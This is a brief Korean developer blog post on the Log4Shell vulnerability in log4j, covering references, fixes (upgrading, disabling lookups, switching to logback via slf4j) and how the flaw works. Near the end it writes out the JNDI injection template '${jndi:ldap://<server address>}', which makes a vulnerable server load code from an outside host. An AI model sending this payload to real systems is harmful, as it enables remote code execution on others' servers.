log4j - 0 day vulnerability

less than 1 minute read

logging for java - 이미 유행 좀 지났지만… 생각났던거 다시 정리
0 day vulnerability 는 개발자보다 공격자가 먼 알아낸 문제점으로
0일부터 현재까지 모든 날짜가 위험했다는 의미

참고

  • https://nakedsecurity.sophos.com/2021/12/10/log4shell-java-vulnerability-how-to-safeguard-your-servers/
  • https://blog.alyac.co.kr/4341
  • https://spring.io/blog/2021/12/10/log4j2-vulnerability-and-spring-boot
  • https://medium.com/s2wlab/logs-of-log4shell-cve-2021-44228-log4j-is-ubiquitous-kr-fb50a6458a08

해결법

며칠동안 난리났던 log4j 0-day vulnerability
- org.apache.logging.log4j:log4j-core:2.15.0 이하 버전에서 문제 발생
2.16으로 업글하거나
옵션값 수정 formatMsgNoLookup=true
log4j 다른 로거로 전환

log4j 다른 로거로 전환

log4j는 자바에서 제일 많이 쓰이던 로깅 라이브러리 였다?
아직도 쓰는건 대부분 레거시 시스템 아니었을까
몇 가지 의존성을 추가하면 logback등 다른 로거로 쉽게 전환이 가능게 되서
대부분 시스템은 전환이 완료되었을거다

요즘엔 로거를 별도로 구현하거나 선언하는 경우는 잘 없고
표준 로깅 인터페이스링 slf4j를 통해서 사용한다
구현체를 쉽게 교체할 수 있도록

스프의 경우 기본적으로 아래의 의존성을 가지고 있는데

implementation 'ch.qos.logback:logback-classic' // logback 기본
implementation 'org.slf4j:jul-to-slf4j' // jul 로거를 slf4j로 연결
implementation 'org.slf4j:log4j-over-slf4j' // log4j 로거를 slf4j로 연결

취약점 설명

이 취약점은 마인크래프트서버에서 처음 발견됐다고 한다
마인크래프트 채팅창에 특정 문자열을 입력하면
log4j에서 로깅하는 과정에
log.info(“user chatting {}”, chatting_message);
같은게 입력되면 jndi lookup 동작..
sql injection과 유사한 공격인데 꼭 막혀있어야 하는 부분인데 뚫려있었던게 문제

${jndi:ldap://서버접속주소}

이렇게 메시지를 보내면 코드를 실행시켜버린다.
애플리케이션이 root로 실행되고 있었다면 root도 획득 가능